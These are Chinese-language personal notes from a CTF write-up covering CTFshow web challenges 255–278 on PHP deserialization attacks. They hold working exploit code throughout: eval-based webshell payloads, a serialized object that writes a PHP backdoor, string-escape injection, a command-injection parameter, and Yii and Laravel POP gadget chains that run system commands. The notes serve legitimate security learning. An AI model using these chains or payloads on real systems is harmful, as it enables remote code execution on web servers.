开始反序列化
web255
是从cookie中unserialize得到实例,考虑修改cookie中键user的值
$result = urlencode(serialize(new ctfShowUser()));
为何需要url编码呢,不url编码也能成。url编码是对称加密,编码也不影响
web256
考察!==不完全等于,两端不一样为true,相同为false
web257
类内部变量class指向类info
考虑将class指向类backdoor
在类backdoor中RCE
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code= 'eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$cup = urlencode(serialize(new ctfShowUser()));
echo PHP_EOL;
echo serialize(new ctfShowUser());
web258
正则过滤O:数字,将数字前面添一个+号
public $code='eval($_POST[1]);';
因为eval本身是一条php语句,引号内的结尾要使用分号
具体可看序列化的c源码
正则为何是过滤O:数字呢
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
web259
php中,如果调用的一个方法在类中不存在,则调用__call魔术方法
原生类的ssrf
通过SoapClient对象
通过php发送网络请求
结合了ssrf
鸽先
web260
字符串序列化结果是它本身
preg_match 是要串中命中就成
web261
0x36d 是877,涉及弱类型比较
如果出现877或877a都会成立
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略
这两个方法是关于在反序列化时被触发
__invoke是关于类被当作一个函数调用时触发,比如
php
class MyCallable {
public function __invoke($param) {
echo "Called with parameter: $param\n";
}
}
$obj = new MyCallable();
$obj("Hello"); // 这里会调用 __invoke() 方法
__sleep在序列化时调用
__unserialize在序列化时调用,将给$code赋值
反序列化对象,new一个对象出来,利用它的构造,获得它的序列化字符串
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22877a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
web262
反序列化逃逸注入
预期解
php
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$obj = new message('fuck','b','c');
function filter($obj){
return str_replace('fuck', 'loveU', $obj);
}
$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);
$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);
echo PHP_EOL;
var_dump(unserialize($answer));
//it works
echo PHP_EOL;
echo base64_encode($answer);
在目标串中,把短串替换长串,就会造成逃逸,长串与短串的长度的差,就是逃逸的机会。将短串重复若干多次,就能达到逃逸几十个字符个数的反序列化
逃逸的情况就是这样,有些耐心就能做出来
那么,在这个题目中,注释部分的提示
php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
为什么暴露了message.php这个文件,而有些情况message.php还可传参?比如本题中,传入cookie可以new一个序列化的base64 message对象进去,后端也能读到cookie中的payload
web263
ctf中一般的源码泄漏是www.zip
ini_set('session.serialize_handler','php')
include('inc/inc.php');
在php泄漏的源码中没有,但是在服务器中有
这题有点复杂,晚点写
涉及php的一个设置
ini_set('session.serialize_handler','php')
和
ini_set('session.serialize_handler','php_serialize')
web264
是反序列化逃逸,属于变长类型,耐心即可
信息写到session中
php
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';//original is 'user', I change it to 'admin'
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
function filter($msg){
return str_replace("fuck","loveU",serialize($msg));
}
$msg_1 = filter($msg);
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//payload:";s:5:"token";s:5:"admin";}(27chars)
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
var_dump(unserialize($msg_1));
web265
"我怎么感觉这个wp越来越像教程了,居然还用了画笔"--from video
有点意思,通过引用,tocken咋变值password就咋变
php
<?php
//error_reporting(0);
//include('flag.php');
//highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
以下为题目
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
web266
(在线靶场启用了https)
(搞一下burpsuite)
(https://www.cnblogs.com/a-wyw/p/16277571.html)
(https://cloud.tencent.com/developer/article/1391501)
反序列化
恶意破坏反序列化的结构,但不破坏类名
反序列化异常但是还是会执行类的销毁方法
payload: O:7:"ctfshow":2:{ctfshow} 使用post方法
有趣的是,这题传值使用file_get_contents('php://input');
通过post直接传值
使用hackbar失败,需要抓包修改后放行
web267
yii反序列化poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
rce 中 system 被 ban, 用shell_exe()
没能成,不知道为啥
中间几道题是YII的pop链,晚点作
web271
Laravel的链子5.8(将不同的链子做成工具会比较方便)
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('cat /flag'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
web272
还是Laravel
换一条链子
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name="feng";
}
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /flag');exit()?>";
$this->config=new MockConfiguration();
}
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
web273
同web272,通杀属于是,链子继续用
总结以下框架的发序列化链子怎么用
就是收集链子,根据框架的指纹判断种类和版本
web274
没找到链子捏
web275
?fn=php;tac flag.php
题目
php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
是个RCE
一般情况,传个get参数,直接被当成文件名删掉
尝试进入system命令执行,使用分号执行命令
不难
web276
利用phar
写脚本竞争读写,拿到flag
没懂
web277
flask 的python反序列化
没懂
web278
flask 的python 反序列化
没学